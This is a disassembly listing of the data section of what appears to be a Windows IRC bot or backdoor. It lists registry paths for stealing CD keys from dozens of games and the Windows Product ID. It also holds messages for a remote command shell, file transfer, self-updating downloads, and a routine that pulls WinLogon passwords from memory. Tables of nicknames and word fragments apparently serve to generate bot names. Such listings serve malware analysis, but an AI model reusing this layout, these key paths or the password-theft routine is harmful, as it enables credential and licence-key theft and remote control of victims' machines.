aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 10h
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 10h
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 10h
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 10h
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 10h
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 10h
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 10h
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 10h
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 10h
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 10h
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004368BCo
aCdkey		db 'CDKey',0            ; DATA XREF: ___:004368B8o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4368B4o
		align 4
asc_437AB4:				; DATA XREF: sub_415A2F+E9o
					; sub_415A2F+F4o
		unicode	0, <=>,0
dword_437AB8	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A2F+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437B34	db  2Dh	; -		; DATA XREF: ___:00415F17o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_437B58	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Co
					; ___:00416312o
		dd 726F72h
unk_437B70	db  2Dh	; -		; DATA XREF: ___:00416114o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_437B9C	db  2Dh	; -		; DATA XREF: ___:0041601Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
dword_437BC0	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE5o
		dd 74756Fh
dword_437BD8	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F84o
		dd 169h
unk_437BF0	db  2Dh	; -		; DATA XREF: ___:00415F41o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 10h
unk_437C10	db  2Dh	; -		; DATA XREF: ___:00415E9Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437C34	db  2Dh	; -		; DATA XREF: ___:00415E5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_437C58	db  2Dh	; -		; DATA XREF: ___:0041638Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_437C84	db  2Dh	; -		; DATA XREF: ___:00416287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_437CA4	db  2Dh	; -		; DATA XREF: ___:00416267o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: ___:00416253o
unk_437CD4	db  2Dh	; -		; DATA XREF: ___:0041623Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437D04	db  2Dh	; -		; DATA XREF: ___:0041688Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437D30	db  2Dh	; -		; DATA XREF: ___:0041687Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_437D64	db  2Dh	; -		; DATA XREF: ___:004167C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_437DA8	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416751o
		dd 25206465h, 73h
unk_437DC4	db  2Dh	; -		; DATA XREF: ___:004166DAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_437DFC	db  2Dh	; -		; DATA XREF: ___:0041665Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437E24	db  2Dh	; -		; DATA XREF: ___:004165D1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 10h
unk_437E50	db  2Dh	; -		; DATA XREF: ___:0041658Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_437E78	db  2Dh	; -		; DATA XREF: ___:0041657Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 10h
unk_437EA0	db  2Dh	; -		; DATA XREF: ___:00416470o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A1:loc_4169E4o
					; sub_418EF6+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A1:loc_4169D8o
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A1:loc_4169CCo
		align 10h
off_437EF0	dd offset word_4D4152	; DATA XREF: sub_4169A1:loc_4169C6o
word_437EF4	dw 3Fh			; DATA XREF: sub_4169A1+1Fo
					; sub_41AA42:loc_41AB44r
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416A32:loc_416B10o
					; sub_416B56+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_416A32+6Co
		align 4
unk_437F08	db  2Dh	; -		; DATA XREF: sub_416B56+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_437F44	db  2Dh	; -		; DATA XREF: sub_416B56+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416C28:loc_416C6Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437FF0	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417093o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_438024	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417066o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438050	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_41705Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_438088	db  2Dh	; -		; DATA XREF: sub_416F1A+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_4380E4	dd offset byte_530055	; DATA XREF: sub_416F1A+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004D
		dd offset loc_4E0047+2
		dd 0
off_4380FC	dd offset byte_530055	; DATA XREF: sub_416F1A+CEo
		dd offset byte_520045
		dd offset loc_41004D+1
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1A+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
					; sub_416F1A+161o ...
		align 10h
unk_4381C0	db  2Dh	; -		; DATA XREF: sub_416F1A+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 10h
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170EC+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170EC+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170EC+AFo
		align 4
dword_43820C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417552+70o
					; sub_4175E9+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_43825C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175E9+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_4382B0	dd offset aQ		; DATA XREF: sub_417ADD+5Cr
					; "q"
		dd offset dword_438E5C
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset dword_438E58
		dd offset aU		; "u"
		dd offset aI		; "i"
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_0		; "s"
		dd offset aD		; "d"
		dd offset dword_438E54
		dd offset dword_438E50
		dd offset dword_438E4C
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_438E48
		dd offset dword_438E44
		dd offset dword_438E40
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_438E3C
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_438E38
		dd offset dword_438E34
		dd offset dword_438E30
		dd offset dword_438E2C
		dd offset dword_438E28
		dd offset word_438E24
		dd offset dword_438E20
		dd offset aI_0		; "I"
		dd offset dword_438E1C
		dd offset dword_438E18
		dd offset aA_0		; "A"
		dd offset dword_438E14
		dd offset dword_438E10
		dd offset dword_438E0C
		dd offset dword_438E08
		dd offset dword_438E04
		dd offset dword_438E00
		dd offset dword_438DFC
		dd offset dword_438DF8
		dd offset dword_438DF4
		dd offset dword_438DF0
		dd offset dword_438DEC
		dd offset dword_438DE8
		dd offset dword_438DE4
		dd offset word_438DE0
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_438B78
		dd offset off_438B74
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_4389E0
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_4385B0	dd offset aSex		; DATA XREF: sub_417ADD+41r
					; sub_417ADD+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_0	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438E3C
		dd offset aC		; "c"
		dd offset aD		; "d"
		dd offset aE		; "e"
		dd offset dword_438E54
		dd offset dword_438E50
		dd offset dword_438E4C
		dd offset aI		; "i"
		dd offset dword_42BBC0
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_438E48
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_438E5C
		dd offset dword_438E40
		dd offset dword_438E58
		dd offset dword_438E44
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_438E44
		dd offset dword_438E50
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438800
		dd offset aBbl		; "|bbl"
		dd offset dword_43D7D8
		dd offset dword_43D7D8
		dd offset a___0		; "_|_"
		dd offset dword_43D7D8
		dd offset dword_43D7D8
		dd offset dword_43D7D8
		dd offset dword_43D7D8
		dd offset dword_438E0C
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438E3C
		dd offset dword_43D7D8
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D7D8
		dd offset dword_43D7D8
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D7D8
		dd offset dword_43D7D8
		dd offset dword_438DF0
		dd offset dword_43D7D8
		dd offset off_4387C0
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_438780
		dd offset dword_43877C
		dd offset dword_438774
		dd offset dword_438768
		dd offset dword_438760
		dd offset dword_438758
		dd offset dword_438750
		dd offset dword_43874C
		dd offset dword_438748
dword_438748	dd 7536h		; DATA XREF: ___:00438744o
dword_43874C	dd 7535h		; DATA XREF: ___:00438740o
dword_438750	dd 7C75347Ch, 0		; DATA XREF: ___:0043873Co
dword_438758	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438738o
dword_438760	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438734o
dword_438768	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438730o
dword_438774	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:0043872Co
dword_43877C	dd 6C6F6Ch		; DATA XREF: ___:00438728o
dword_438780	dd 746F74h		; DATA XREF: ___:00438724o
aMofo		db 'mofo',0             ; DATA XREF: ___:00438720o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:0043871Co
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438718o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438714o
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438710o
aShit		db 'shit',0             ; DATA XREF: ___:0043870Co
		align 10h
aGurl		db 'gurl',0             ; DATA XREF: ___:00438708o
		align 4
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438704o
		align 10h
off_4387C0	dd offset word_594F42	; DATA XREF: ___:00438700o
aFree		db 'Free',0             ; DATA XREF: ___:004386ECo
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:004386E8o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:004386DCo
		align 10h
aF_2		db '^^^f^',0            ; DATA XREF: ___:004386D0o
		align 4
aSad		db 'Sad',0              ; DATA XREF: ___:004386CCo
aLuvu		db 'LUVU',0             ; DATA XREF: ___:004386C8o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:004386ACo
aBbl		db '|bbl',0             ; DATA XREF: ___:004386A0o
		align 10h
off_438800	dd offset loc_425242	; DATA XREF: ___:0043869Co
aMuckc		db 'muckc',0            ; DATA XREF: ___:00438688o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:00438684o
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:00438680o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:0043867Co
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:00438678o
		align 4
aSdf		db 'sdf',0              ; DATA XREF: ___:00438674o
aRt		db 'rt',0               ; DATA XREF: ___:00438670o
		align 10h
